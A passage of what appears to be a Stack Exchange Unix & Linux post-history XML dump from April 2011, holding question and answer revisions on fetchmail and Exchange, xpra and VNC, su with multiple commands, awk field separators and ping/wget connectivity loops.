device state change: 5 -&gt; 6 (reason 0)&#xD;&#xA;    Apr  4 18:43:17 sophia NetworkManager[1849]: &lt;warn&gt; Activation (wlan0/wireless): asking for new secrets&#xD;&#xA;    Apr  4 18:43:17 sophia NetworkManager[1849]: &lt;info&gt; (wlan0): supplicant connection state:  associating -&gt; disconnected&#xD;&#xA;    Apr  4 18:43:18 sophia wpa_supplicant[1879]: Authentication with 00:00:00:00:00:00 timed out.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25551" PostHistoryTypeId="2" PostId="10595" RevisionGUID="00e94263-8a1d-448b-a164-d813a3133fc3" CreationDate="2011-04-04T19:13:53.473" UserId="885" Text="Support for the “Registered” and “Unbuffered” type details (amongst others) was added in dmidecode 2.11 ([`dmidecode.c` revision 1.158](http://cvs.savannah.gnu.org/viewvc/dmidecode/dmidecode.c?root=dmidecode&amp;view=diff&amp;r1=1.157&amp;r2=1.158)). If you get the latest version, I expect it'll show either `Type Detail: Synchronous Registered (Buffered)` or `Type Detail: Synchronous Unbuffered (Unregistered)` (and probably `Type: DDR3` above).&#xD;&#xA;" />
  <row Id="25552" PostHistoryTypeId="6" PostId="10570" RevisionGUID="d8300551-71d8-40e7-b011-e4de6828d004" CreationDate="2011-04-04T19:25:59.220" UserId="885" Comment="edited tags" Text="éterminalàécharacteröencodingà" />
  <row Id="25553" PostHistoryTypeId="2" PostId="10596" RevisionGUID="f62f88ec-6e83-4bee-baad-2983b198bba9" CreationDate="2011-04-04T19:27:36.790" UserId="73" Text="I currently use fetchmail as my MRA, using IMAP to connect to my office's Exchange 2007 server. Unfortunately, IT is disabling POP3 and IMAP access soon. Does fetchmail support connecting to Exchange servers directly? If not (and I'm pretty convinced the answer is no), is there another MRA that does support Exchange?" />
  <row Id="25554" PostHistoryTypeId="1" PostId="10596" RevisionGUID="f62f88ec-6e83-4bee-baad-2983b198bba9" CreationDate="2011-04-04T19:27:36.790" UserId="73" Text="Connecting fetchmail (or another MRA) to Exchange" />
  <row Id="25555" PostHistoryTypeId="3" PostId="10596" RevisionGUID="f62f88ec-6e83-4bee-baad-2983b198bba9" CreationDate="2011-04-04T19:27:36.790" UserId="73" Text="ésoftwareörecàéexchangeàéfetchmailàémraà" />
  <row Id="25556" PostHistoryTypeId="2" PostId="10597" RevisionGUID="cb4a1cd0-c09f-48e1-9fb0-b6d35e866a8b" CreationDate="2011-04-04T19:31:34.650" UserId="2455" Text="I'm using X11 forwarding over ssh to run Linux apps on my Windows box, and when the network drops the lose everything that was running. Is there anything similar to `screen` for X11?" />
  <row Id="25557" PostHistoryTypeId="1" PostId="10597" RevisionGUID="cb4a1cd0-c09f-48e1-9fb0-b6d35e866a8b" CreationDate="2011-04-04T19:31:34.650" UserId="2455" Text="GNU Screen for X11 Forwarding" />
  <row Id="25558" PostHistoryTypeId="3" PostId="10597" RevisionGUID="cb4a1cd0-c09f-48e1-9fb0-b6d35e866a8b" CreationDate="2011-04-04T19:31:34.650" UserId="2455" Text="éscreenàéx11à" />
  <row Id="25559" PostHistoryTypeId="5" PostId="10568" RevisionGUID="f256a344-dd7a-4d7a-bd9b-e4d5db160b67" CreationDate="2011-04-04T19:36:42.453" UserId="885" Comment="updated with information from chat" Text="I have a virtual machine running Ubuntu 10.04 32-bit. Using the tools provided with VirtualBox, I have added a [DisplayLink](http://en.wikipedia.org/wiki/DisplayLink) device to the VM and created the following `xorg.conf` file:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier      &quot;Server Layout&quot;&#xD;&#xA;        Screen  0       &quot;DisplayLinkScreen&quot; 0 0&#xD;&#xA;        Option          &quot;Xinerama&quot; &quot;off&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Files&quot;&#xD;&#xA;        ModulePath      &quot;/usr/lib/xorg/modules&quot;&#xD;&#xA;        ModulePath      &quot;/usr/local/lib/xorg/modules&quot;&#xD;&#xA;        ModulePath      &quot;/usr/local/lib/xorg/modules/drivers&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;############### DisplayLink Stuff ###############&#xD;&#xA;&#xD;&#xA;Section &quot;Device&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkDevice&quot;&#xD;&#xA;        driver          &quot;displaylink&quot;&#xD;&#xA;        Option  &quot;fbdev&quot; &quot;/dev/fb1&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Monitor&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkMonitor&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Screen&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkScreen&quot;&#xD;&#xA;        Device          &quot;DisplayLinkDevice&quot;&#xD;&#xA;        Monitor         &quot;DisplayLinkMonitor&quot;&#xD;&#xA;        SubSection &quot;Display&quot;&#xD;&#xA;                Depth   16&#xD;&#xA;                Modes   &quot;800x480&quot;&#xD;&#xA;        EndSubSection&#xD;&#xA;EndSection&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;This works to a small degree - the DisplayLink device turns green, and eventually a purple desktop with my icons appear on it. The actual VBox window is blank. The problem is that:&#xD;&#xA;&#xD;&#xA; - the Gnome panel does not load&#xD;&#xA; - a right-click on the desktop has no effect&#xD;&#xA;&#xD;&#xA;I tried pressing `Alt+F1` and the console displays in the VBox window. Pressing `Alt+F7` after that does nothing. I have to press `Alt+F8` to get back to the GUI. This leads me to believe that there's an extra display in there somewhere.&#xD;&#xA;&#xD;&#xA;I *have* installed Guest Additions if that helps. GDM is set to auto-login to a Gnome session.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Edit:** It seems like the problem is with Gnome / GDM. Applications (e.g. gnome-terminal) display normally. `xev` is reporting that all input events are coming through okay. The panel seems to be partially running but invisible:&#xD;&#xA;&#xD;&#xA;    $ wmctrl -Gl | grep -i panel&#xD;&#xA;    0x01200003 -1 0      0     1     1   test-pc Top Expanded Edge Panel&#xD;&#xA;    0x01200042 -1 0      0     1     1   test-pc Top Expanded Edge Panel&#xD;&#xA;" />
  <row Id="25560" PostHistoryTypeId="4" PostId="10568" RevisionGUID="f256a344-dd7a-4d7a-bd9b-e4d5db160b67" CreationDate="2011-04-04T19:36:42.453" UserId="885" Comment="updated with information from chat" Text="Gnome trouble on a DisplayLink device in a Linux virtual machine" />
  <row Id="25561" PostHistoryTypeId="6" PostId="10568" RevisionGUID="f256a344-dd7a-4d7a-bd9b-e4d5db160b67" CreationDate="2011-04-04T19:36:42.453" UserId="885" Comment="updated with information from chat" Text="égnomeàévirtualboxàédisplaylinkà" />
  <row Id="25562" PostHistoryTypeId="2" PostId="10598" RevisionGUID="e4c3bd31-5601-4d30-baee-cd9dc0ee843f" CreationDate="2011-04-04T19:47:10.977" UserId="73" Text="[Xpra](http://code.google.com/p/partiwm/wiki/xpra) claims to be exactly that:&#xD;&#xA;&#xD;&#xA;&gt; So basically it's [screen](http://www.gnu.org/software/screen/) for remote X apps.&#xD;&#xA;&#xD;&#xA;I haven't used it in a while, but it worked pretty well when I tried it. You start the server on the remote machine:&#xD;&#xA;&#xD;&#xA;    [remote] $ xpra start :13&#xD;&#xA;&#xD;&#xA;Then you attach to the server from your local machine:&#xD;&#xA;&#xD;&#xA;    [local] $ xpra attach ssh:remote:13&#xD;&#xA;&#xD;&#xA;And now anything displayed on X display 13 on the remote machine will appear locally:&#xD;&#xA;&#xD;&#xA;    [remote] $ DISPLAY=:13 xeyes&#xD;&#xA;" />
  <row Id="25563" PostHistoryTypeId="2" PostId="10599" RevisionGUID="b7585d24-83d0-41a0-9bf5-db3af809562b" CreationDate="2011-04-04T19:51:11.223" UserId="885" Text="You're looking for [VNC](http://en.wikipedia.org/wiki/Virtual_Network_Computing). The principle somewhat is similar to screen: you run a VNC server (the backgound `SCREEN` process), and a VNC client (the foreground `screen` process). The VNC server is an X server, so you can run X applications in it.&#xD;&#xA;&#xD;&#xA;Run a VNC server on the Linux box and a client on the Windows box. You have several implementations to choose from; one possibility is [TightVNC](http://www.tightvnc.com/). TightVNC is in many Linux distributions (if it's not in yours, either install it or pick a different implementation), and there's a Windows client.&#xD;&#xA;&#xD;&#xA;If your two machines aren't very close on the network — if there's a firewall or a risk of eavesdropper between them — you'll need to tunnel the VNC traffic through ssh. Have ssh forward the local port 5900 to the remote port 5900 (5900 corresponds to the display `:0`, use 5901 for `:1, etc.).&#xD;&#xA;" />
  <row Id="25564" PostHistoryTypeId="2" PostId="10600" RevisionGUID="c642082d-cdad-41ef-b3cd-5647f748367c" CreationDate="2011-04-04T19:54:04.403" UserId="2359" Text="Not currently, though there was an interest to improve Exchange support I think it stalled due to lack of involvement. The only similar tool I know of is [getmail][1] and doesn't natively support Exchange either. &#xD;&#xA;&#xD;&#xA;The only solution I know of is [DavMail][2], which provides a standard POP/IMAP/SMTP interface to Exchange. You should be able to use that in conjunction with Fetchmail.&#xD;&#xA;&#xD;&#xA; [1]:http://pyropus.ca/software/getmail/&#xD;&#xA; [2]: http://davmail.sourceforge.net/" />
  <row Id="25565" PostHistoryTypeId="17" PostId="10602" RevisionGUID="4454a415-27cc-467b-9747-e71a129adea5" CreationDate="2011-04-04T20:00:00.617" UserId="-1" Comment="from http://stackoverflow.com/questions/5539754/running-multiple-commands-for-su-in-bash/5539822#5539822" Text="" />
  <row Id="25566" PostHistoryTypeId="17" PostId="10603" RevisionGUID="e52f5ce1-dcd4-4174-91fb-db96b6c95d03" CreationDate="2011-04-04T20:00:00.617" UserId="-1" Comment="from http://stackoverflow.com/questions/5539754/running-multiple-commands-for-su-in-bash/5539829#5539829" Text="" />
  <row Id="25567" PostHistoryTypeId="17" PostId="10604" RevisionGUID="6e8a9010-9f8b-43c8-8ab3-88122d6b1cad" CreationDate="2011-04-04T20:00:00.617" UserId="-1" Comment="from http://stackoverflow.com/questions/5539754/running-multiple-commands-for-su-in-bash/5540083#5540083" Text="" />
  <row Id="25568" PostHistoryTypeId="2" PostId="10602" RevisionGUID="3c6e00ba-49df-4716-bd5c-ad22f9861cf7" CreationDate="2011-04-04T14:20:11.727" UserId="5839" Text="This command runs fine:&#xD;&#xA;&#xD;&#xA;    su root -c &quot;date; ls -lh&quot;&#xD;&#xA;&#xD;&#xA;But in this command:&#xD;&#xA;&#xD;&#xA;    su root -c &quot;tcpdump -i wlan0 -s 1500 -w CCCCCC &amp; ; ls -lh;&quot;&#xD;&#xA;&#xD;&#xA;Since you have `&amp;` before `;` therefore you are getting errors. Try removing `&amp;` and re-executing the command.&#xD;&#xA;&#xD;&#xA;Or you can run your command like this:&#xD;&#xA;&#xD;&#xA;    su root -c &quot;(tcpdump -i wlan0 -s 1500 -w CCCCCC &amp;); ls -lh&quot;&#xD;&#xA;" />
  <row Id="25569" PostHistoryTypeId="2" PostId="10604" RevisionGUID="1776039a-2843-48e8-b145-bb745b653f41" CreationDate="2011-04-04T14:38:10.230" UserDisplayName="mcmap" Text="I think the `nohup` command will get you what you want too... tcpdump running in the background (no ampersand necessary): &#xD;&#xA;&#xD;&#xA;    su root -c &quot;nohup tcpdump -i wlan0 -s 1500 -w CCCCCC ; ls -lh&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25570" PostHistoryTypeId="2" PostId="10603" RevisionGUID="ba23abf1-9dfd-4f2d-8394-ba7e3c9cf051" CreationDate="2011-04-04T14:20:41.550" UserDisplayName="nickgrim" Text="Use `&amp;&amp;` to separate your commands like so:&#xD;&#xA;&#xD;&#xA;    $ su -c &quot;ls &amp;&amp; ls&quot;" />
  <row Id="25571" PostHistoryTypeId="2" PostId="10601" RevisionGUID="c21fc4fa-8698-4289-b9a1-d175c1203d93" CreationDate="2011-04-04T14:14:14.647" UserDisplayName="Abruzzo Forte e Gentile" Text="Hi all&#xD;&#xA;&#xD;&#xA;I would like to use &lt;code&gt;su -c&lt;/code&gt; to run as root multiple commands altogether. I don't want to use an extra script for this.&#xD;&#xA;I tried the following&#xD;&#xA;&#xD;&#xA;        su root -c &quot;tcpdump -i wlan0 -s 1500 -w CCCCCC &amp; &quot; -c &quot;ls -lh&quot;&#xD;&#xA;&#xD;&#xA;but it executes only the &lt;code&gt;ls&lt;/code&gt; not the first one.&#xD;&#xA;&#xD;&#xA;I tried the following&#xD;&#xA;&#xD;&#xA;        su root -c &quot;tcpdump -i wlan0 -s 1500 -w CCCCCC &amp; ; ls -lh;&quot;&#xD;&#xA;&#xD;&#xA;but it says that there is an error with the semicolon &lt;code&gt;;&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;Do you know how to do that?&#xD;&#xA;&#xD;&#xA;Best Regards&#xD;&#xA;&#xD;&#xA;AFG&#xD;&#xA;" />
  <row Id="25572" PostHistoryTypeId="1" PostId="10601" RevisionGUID="c21fc4fa-8698-4289-b9a1-d175c1203d93" CreationDate="2011-04-04T14:14:14.647" UserDisplayName="Abruzzo Forte e Gentile" Text="running multiple commands for su in bash" />
  <row Id="25573" PostHistoryTypeId="3" PostId="10601" RevisionGUID="c21fc4fa-8698-4289-b9a1-d175c1203d93" CreationDate="2011-04-04T14:14:14.647" UserDisplayName="Abruzzo Forte e Gentile" Text="ébashàésuà" />
  <row Id="25574" PostHistoryTypeId="17" PostId="10601" RevisionGUID="030d75cb-dbc2-435c-aa7c-0d231ec7794d" CreationDate="2011-04-04T20:00:00.617" UserId="-1" Comment="from http://stackoverflow.com/questions/5539754/running-multiple-commands-for-su-in-bash" Text="" />
  <row Id="25575" PostHistoryTypeId="2" PostId="10605" RevisionGUID="f5901586-c03e-4c11-957f-52e94f8cd2e2" CreationDate="2011-04-04T20:13:04.470" UserId="3389" Text="Some flaws with some of the above approaches, and why a comprehensive &quot;is the internet working&quot; can't really be done in one line:&#xD;&#xA;&#xD;&#xA;- You should always check if your link is active before even trying to ping anything.  If there is no cable plugged into your Ethernet port or your stupid cat chewed the wire, nothing is going to work.&#xD;&#xA;&#xD;&#xA;- Should test localhost first.  That will verify the integrity of your TCP/IP stack.&#xD;&#xA;&#xD;&#xA;- Relying on DNS resolution by specifying doman names can fail if your DNS server is unreachable or blocked.  Just because your preferred DNS server is down doesn't mean you can't connect to other hosts via the Internet&#xD;&#xA;&#xD;&#xA;- Not good to always use the same address or host to check for connectivity, on a server you don't own.  You should test a variety/well-randomized set of known-to-be-always-up hosts, preferably hosts you own that are outside of your network.&#xD;&#xA;&#xD;&#xA;- I'd even go so far to say that you should use a variety of protocols to really see if the &quot;internet&quot; is up or not.  Perhaps a zombie machine on your network sent out a flood of pings as part of a DDoS and your ISP blocked ICMP.&#xD;&#xA;&#xD;&#xA;If you really must have a one-line approach, what I would do is a traceroute to google.com or other well known Internet site of your choice.  Just once.  Find out how many hops your traffic takes to get out of your service provider's network.  Subsequently, you can use a traceroute to test your external connectivity, but limit it to that many hops.  If the final ping in the traceroute is successful, then you can get out of the network.  Wish there was a &quot;traceroute-like&quot; utility for other protocols, such as HTTP and such. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25576" PostHistoryTypeId="2" PostId="10606" RevisionGUID="5d968217-6827-4a6e-8522-8a202341aa9e" CreationDate="2011-04-04T20:15:43.250" UserId="5836" Text="How to write a shell script which uses awk to read in the data file students.txt and output the data in the tabbed format as shown:&#xD;&#xA;&#xD;&#xA;Surname Forename MSc Stream Date of Birth&#xD;&#xA;&#xD;&#xA;Smith John IT 15.01.1986&#xD;&#xA;&#xD;&#xA;Taylor Susan IT 04.05.1987&#xD;&#xA;&#xD;&#xA;Thomas Steve MIT 19.04.1986&#xD;&#xA;&#xD;&#xA;- Do not worry if tabbed columns don’t line up.&#xD;&#xA;&#xD;&#xA;- The distance between each of (Surname, Forename, MSc Stream and Date of Birth) column is one tab.&#xD;&#xA;&#xD;&#xA;Question:&#xD;&#xA;&#xD;&#xA;Why this code bellow doesn't work for me?&#xD;&#xA;&#xD;&#xA;# awk 'BEGIN {IFS=&quot; &quot;} {OFS=&quot;\t&quot;} {print $1,$2,$3,$4}' students.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="25577" PostHistoryTypeId="1" PostId="10606" RevisionGUID="5d968217-6827-4a6e-8522-8a202341aa9e" CreationDate="2011-04-04T20:15:43.250" UserId="5836" Text="The following AWK program doesn't work!" />
  <row Id="25578" PostHistoryTypeId="3" PostId="10606" RevisionGUID="5d968217-6827-4a6e-8522-8a202341aa9e" CreationDate="2011-04-04T20:15:43.250" UserId="5836" Text="égzipà" />
  <row Id="25579" PostHistoryTypeId="2" PostId="10607" RevisionGUID="eb73d230-7c3b-45b5-8a4f-38ecb8b9bdc2" CreationDate="2011-04-04T20:15:50.110" UserId="885" Text="The Linux kernel version 2.6.35 introduces a new configuration option `CONFIG_NETFILTER_XT_TARGET_TEE`:&#xD;&#xA;&#xD;&#xA;&gt; This option adds a &quot;TEE&quot; target with which a packet can be cloned and&#xD;&#xA;this clone be rerouted to another nexthop.&#xD;&#xA;&#xD;&#xA;[Iptables](http://www.netfilter.org/) supports the `-j TEE` target since 1.4.8.&#xD;&#xA;&#xD;&#xA;Earlier support was through the [xtables addons](http://xtables-addons.sourceforge.net/), which include both kernel modules and userland tools. You may still prefer this option if you prefer to stick with your distribution's kernel and it's too old to have `TEE`.&#xD;&#xA;&#xD;&#xA;There's a [tutorial by bjou](http://www.bjou.de/blog/2008/05/howto-copyteeclone-network-traffic-using-iptables/) (written before the feature was included in the official kernel and iptables).&#xD;&#xA;" />
  <row Id="25580" PostHistoryTypeId="6" PostId="10606" RevisionGUID="31bcd3dc-f399-4891-ae28-4f1bc754502c" CreationDate="2011-04-04T20:19:39.447" UserId="3886" Comment="edited tags" Text="étextöprocessingàéawkà" />
  <row Id="25581" PostHistoryTypeId="5" PostId="10606" RevisionGUID="8f0d1d0d-e2cd-4e4c-b381-70d410b8c152" CreationDate="2011-04-04T20:23:51.900" UserId="885" Comment="formatting" Text="How to write a shell script which uses awk to read in the data file `students.txt` and output the data in the tabbed format as shown:&#xD;&#xA;&#xD;&#xA;    Surname Forename MSc Stream Date of Birth&#xD;&#xA;    Smith John IT 15.01.1986&#xD;&#xA;    Taylor Susan IT 04.05.1987&#xD;&#xA;    Thomas Steve MIT 19.04.1986&#xD;&#xA;&#xD;&#xA;- Do not worry if tabbed columns don’t line up.&#xD;&#xA;&#xD;&#xA;- The distance between each of (Surname, Forename, MSc Stream and Date of Birth) column is one tab.&#xD;&#xA;&#xD;&#xA;Question:&#xD;&#xA;&#xD;&#xA;Why this code bellow doesn't work for me?&#xD;&#xA;&#xD;&#xA;    awk 'BEGIN {IFS=&quot; &quot;} {OFS=&quot;\t&quot;} {print $1,$2,$3,$4}' students.txt&#xD;&#xA;" />
  <row Id="25582" PostHistoryTypeId="4" PostId="10606" RevisionGUID="8f0d1d0d-e2cd-4e4c-b381-70d410b8c152" CreationDate="2011-04-04T20:23:51.900" UserId="885" Comment="formatting" Text="My awk program to change spaces into tabs doesn't work" />
  <row Id="25583" PostHistoryTypeId="6" PostId="10606" RevisionGUID="8f0d1d0d-e2cd-4e4c-b381-70d410b8c152" CreationDate="2011-04-04T20:23:51.900" UserId="885" Comment="formatting" Text="étextöprocessingàéawkàéhomeworkà" />
  <row Id="25584" PostHistoryTypeId="5" PostId="10547" RevisionGUID="0a2a049a-0d44-4ef3-b05d-157744fd88ab" CreationDate="2011-04-04T20:33:16.243" UserId="885" Comment="added wget test for whether the web is working" Text="    while ! ping -W 1 -c 4 www.google.com &gt;&amp; /dev/null ||&#xD;&#xA;          ! ping -W 1 -c 4 www.yahoo.com &gt;&amp; /dev/null; do&#xD;&#xA;      sleep 600&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Though I'd just test connectivity to an IP address; 8.8.8.8 is Google's public DNS server (it has very high availability). Testing whether DNS works is unreliable anyway because the entry may be in the cache.&#xD;&#xA;&#xD;&#xA;    while ! ping -W 1 -c 1 8.8.8.8 &gt;&amp;/dev/null; do sleep 600; done&#xD;&#xA;&#xD;&#xA;Ping isn't always the best way to check internet connectivity. Many places (especially enterprise networks) block all but web access. You can test whether the web is working by downloading a file from a high-availability server. This tests DNS as well, at least from the HTTP proxy's point of view (which again is often what matters).&#xD;&#xA;&#xD;&#xA;    while ! wget -q -O /dev/null --no-cache http://www.google.com/; do sleep 6000; done&#xD;&#xA;" />
  <row Id="25585" PostHistoryTypeId="2" PostId="10608" RevisionGUID="a074682c-1034-45ac-a00b-6d4fefc511b9" CreationDate="2011-04-04T21:07:07.413" UserId="6286" Text="I'm running vnc4server on an Ubuntu 10.10 box, and connecting to it from an Ubuntu 8.04 machine using TightVNC Viewer 1.3.9. I'm unable to type anything with the character 'd' within the VNC session, as the 'd' causes all windows to be minimised.&#xD;&#xA;&#xD;&#xA;Following reports of a successful solution on many online fora, I disabled the keyboard shortcut for hiding all windows, but the problem persists.&#xD;&#xA;&#xD;&#xA;Please help!&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="25586" PostHistoryTypeId="1" PostId="10608" RevisionGUID="a074682c-1034-45ac-a00b-6d4fefc511b9" CreationDate="2011-04-04T21:07:07.413" UserId="6286" Text="'d' Key on VNC Viewer Minimises All Windows" />
  <row Id="25587" PostHistoryTypeId="3" PostId="10608" RevisionGUID="a074682c-1034-45ac-a00b-6d4fefc511b9" CreationDate="2011-04-04T21:07:07.413" UserId="6286" Text="éubuntuàékeyboardàévncà" />
  <row Id="25588" PostHistoryTypeId="25" PostId="10597" RevisionGUID="3b39546f-1f35-4755-a25c-99b6279c1a9e" CreationDate="2011-04-04T21:09:00.470" Comment="http://twitter.com/#!/StackUnix/status/55014026048053248" />
  <row Id="25589" PostHistoryTypeId="2" PostId="10609" RevisionGUID="a21b4a6d-beaf-4ca0-9fee-bc6448ab25da" CreationDate="2011-04-04T21:11:37.660" UserId="1338" Text="    awk '{$1=$1}1' OFS=&quot;\t&quot; students.txt&#xD;&#xA;&#xD;&#xA;###Proof of Concept###&#xD;&#xA;&#xD;&#xA;    $ awk '{$1=$1}1' OFS=&quot;\t&quot; students.txt&#xD;&#xA;    Surname Forename        MSc     Stream  Date    of      Birth&#xD;&#xA;    Smith   John    IT      15.01.1986&#xD;&#xA;    Taylor  Susan   IT      04.05.1987&#xD;&#xA;    Thomas  Steve   MIT     19.04.1986&#xD;&#xA;&#xD;&#xA;###Explanation###&#xD;&#xA;The reason it didn't work is because `awk` requires one of the fields to be changed before it applies the new output field separator.  The workaround for this defect (IMHO) is to just set a field to itself, hence the `$1=$1`" />
  <row Id="25590" PostHistoryTypeId="2" PostId="10610" RevisionGUID="86aacb96-5df5-45a7-9e7f-a0a50773849d" CreationDate="2011-04-04T21:13:39.593" UserId="3169" Text="Try editing ~/.config/Thunar/thunarrc and set MiscCaseSensitive to True as per [Debian bug 436524](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=436524)." />
  <row Id="25591" PostHistoryTypeId="5" PostId="10610" RevisionGUID="75713d16-6726-426d-b9e8-2e88e8aaff73" CreationDate="2011-04-04T21:19:35.347" UserId="3169" Comment="added 215 characters in body" Text="The normal thing to try is setting `LC_COLLATE=C` in your environment, but according to [Debian bug 436524](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=436524), Thunar does not respect that setting.&#xD;&#xA;&#xD;&#xA;In that bug, the suggestion is to set MiscCaseSensitive to True in ~/.config/Thunar/thunarrc.&#xD;&#xA;&#xD;&#xA;I don't know if that sorts symbols first or not, but it might help." />
  <row Id="25592" PostHistoryTypeId="5" PostId="10609" RevisionGUID="d23ba24b-b162-4c97-a677-b7fca76f88b3" CreationDate="2011-04-04T21:24:50.317" UserId="1338" Comment="added 152 characters in body" Text="    awk '{$1=$1}1' OFS=&quot;\t&quot; students.txt&#xD;&#xA;&#xD;&#xA;###Proof of Concept###&#xD;&#xA;&#xD;&#xA;    $ awk '{$1=$1}1' OFS=&quot;\t&quot; students.txt&#xD;&#xA;    Surname Forename        MSc     Stream  Date    of      Birth&#xD;&#xA;    Smith   John    IT      15.01.1986&#xD;&#xA;    Taylor  Susan   IT      04.05.1987&#xD;&#xA;    Thomas  Steve   MIT     19.04.1986&#xD;&#xA;&#xD;&#xA;###Explanation###&#xD;&#xA;The reason it didn't work is because `awk` requires one of the fields to be changed before it applies the new output field separator.  The workaround for this defect (IMHO) is to just set a field to itself, hence the `$1=$1`&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;For this simple type of change, you're better off using `tr` or `sed`&#xD;&#xA;&#xD;&#xA;    tr ' ' '\t' &lt; students.txt&#xD;&#xA;    sed 's/ /\t/g' students.txt" />
  <row Id="25593" PostHistoryTypeId="2" PostId="10611" RevisionGUID="6a86da2f-bb98-494d-910f-bcbca1d9a443" CreationDate="2011-04-04T21:31:42.300" UserId="4194" Text="I click on the column header, &quot;Name&quot;, and it sorts alphanumerically.  You could go into Preferences and unselect &quot;Sort folders before files&quot; to have the entire list sorted (instead of grouped)." />
  <row Id="25594" PostHistoryTypeId="2" PostId="10612" RevisionGUID="8df6c716-a4f2-4662-a883-a4add04f160f" CreationDate="2011-04-04T21:36:37.587" UserId="3169" Text="To make the logic a little clearer, you could write the check in a subshell, e.g.&#xD;&#xA;&#xD;&#xA;    while ! ( ping -W 1 -c 4 www.google.com &gt;&amp; /dev/null &amp;&amp;&#xD;&#xA;              ping -W 1 -c 4 www.yahoo.com &gt;&amp; /dev/null ); do&#xD;&#xA;        sleep 600&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Or write the test in a function.&#xD;&#xA;&#xD;&#xA;    can_ping_internet() {&#xD;&#xA;        ping -W 1 -c 4 www.google.com &amp;&amp; ping -W 1 -c 4 www.yahoo.com&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    while ! can_ping_internet; do&#xD;&#xA;        sleep 600&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="25599" PostHistoryTypeId="5" PostId="10608" RevisionGUID="c189d4e0-19eb-4049-9511-d99a3c71f306" CreationDate="2011-04-04T22:44:52.293" UserId="6286" Comment="Put 'xev' within &lt;code&gt;&lt;/code&gt; tags." Text="I'm running vnc4server on an Ubuntu 10.10 box, and connecting to it from an Ubuntu 8.04 machine using TightVNC Viewer 1.3.9. I'm unable to type anything with the character 'd' within the VNC session, as the 'd' causes all windows to be minimised.&#xD;&#xA;&#xD;&#xA;Following reports of a successful solution on many online fora, I disabled the keyboard shortcut for hiding all windows, but the problem persists.&#xD;&#xA;&#xD;&#xA;Output of &lt;code&gt;xev&lt;/code&gt; is given below. It includes two presses of 'd' because the first press minimised all windows. I didn't know what to keep and what to remove, so this output includes everything from the first key-press to when the windows came back up on the second key-press:&#xD;&#xA;&#xD;&#xA;    FocusOut event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        mode NotifyGrab, detail NotifyAncestor               &#xD;&#xA;    &#xD;&#xA;    FocusOut event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        mode NotifyWhileGrabbed, detail NotifyNonlinear      &#xD;&#xA;    &#xD;&#xA;    FocusIn event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        mode NotifyWhileGrabbed, detail NotifyPointer       &#xD;&#xA;    &#xD;&#xA;    KeymapNotify event, serial 29, synthetic NO, window 0x0,&#xD;&#xA;        keys:  0   0   0   0   0   1   0   0   0   0   0   0   0   0   0   0   &#xD;&#xA;               0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   &#xD;&#xA;    &#xD;&#xA;    LeaveNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        root 0x2e, subw 0x0, time 581275388, (100,64), root:(111,572),&#xD;&#xA;        mode NotifyNormal, detail NotifyAncestor, same_screen YES,    &#xD;&#xA;        focus YES, state 0                                            &#xD;&#xA;    &#xD;&#xA;    UnmapNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        event 0xa00001, window 0xa00001, from_configure NO      &#xD;&#xA;    &#xD;&#xA;    PropertyNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        atom 0xc7 (WM_STATE), time 581275388, state PropertyNewValue&#xD;&#xA;    &#xD;&#xA;    PropertyNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        atom 0xae (_NET_WM_STATE), time 581275388, state PropertyNewValue&#xD;&#xA;    &#xD;&#xA;    MapNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        event 0xa00001, window 0xa00001, override NO          &#xD;&#xA;    &#xD;&#xA;    VisibilityNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        state VisibilityUnobscured                                   &#xD;&#xA;    &#xD;&#xA;    Expose event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        (0,0), width 178, height 10, count 3               &#xD;&#xA;    &#xD;&#xA;    Expose event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        (0,10), width 10, height 58, count 2               &#xD;&#xA;    &#xD;&#xA;    Expose event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        (68,10), width 110, height 58, count 1             &#xD;&#xA;    &#xD;&#xA;    Expose event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        (0,68), width 178, height 110, count 0             &#xD;&#xA;    &#xD;&#xA;    EnterNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        root 0x2e, subw 0x0, time 581276874, (100,64), root:(111,572),&#xD;&#xA;        mode NotifyNormal, detail NotifyAncestor, same_screen YES,&#xD;&#xA;        focus NO, state 0&#xD;&#xA;    &#xD;&#xA;    KeymapNotify event, serial 29, synthetic NO, window 0x0,&#xD;&#xA;        keys:  4294967283 0   0   0  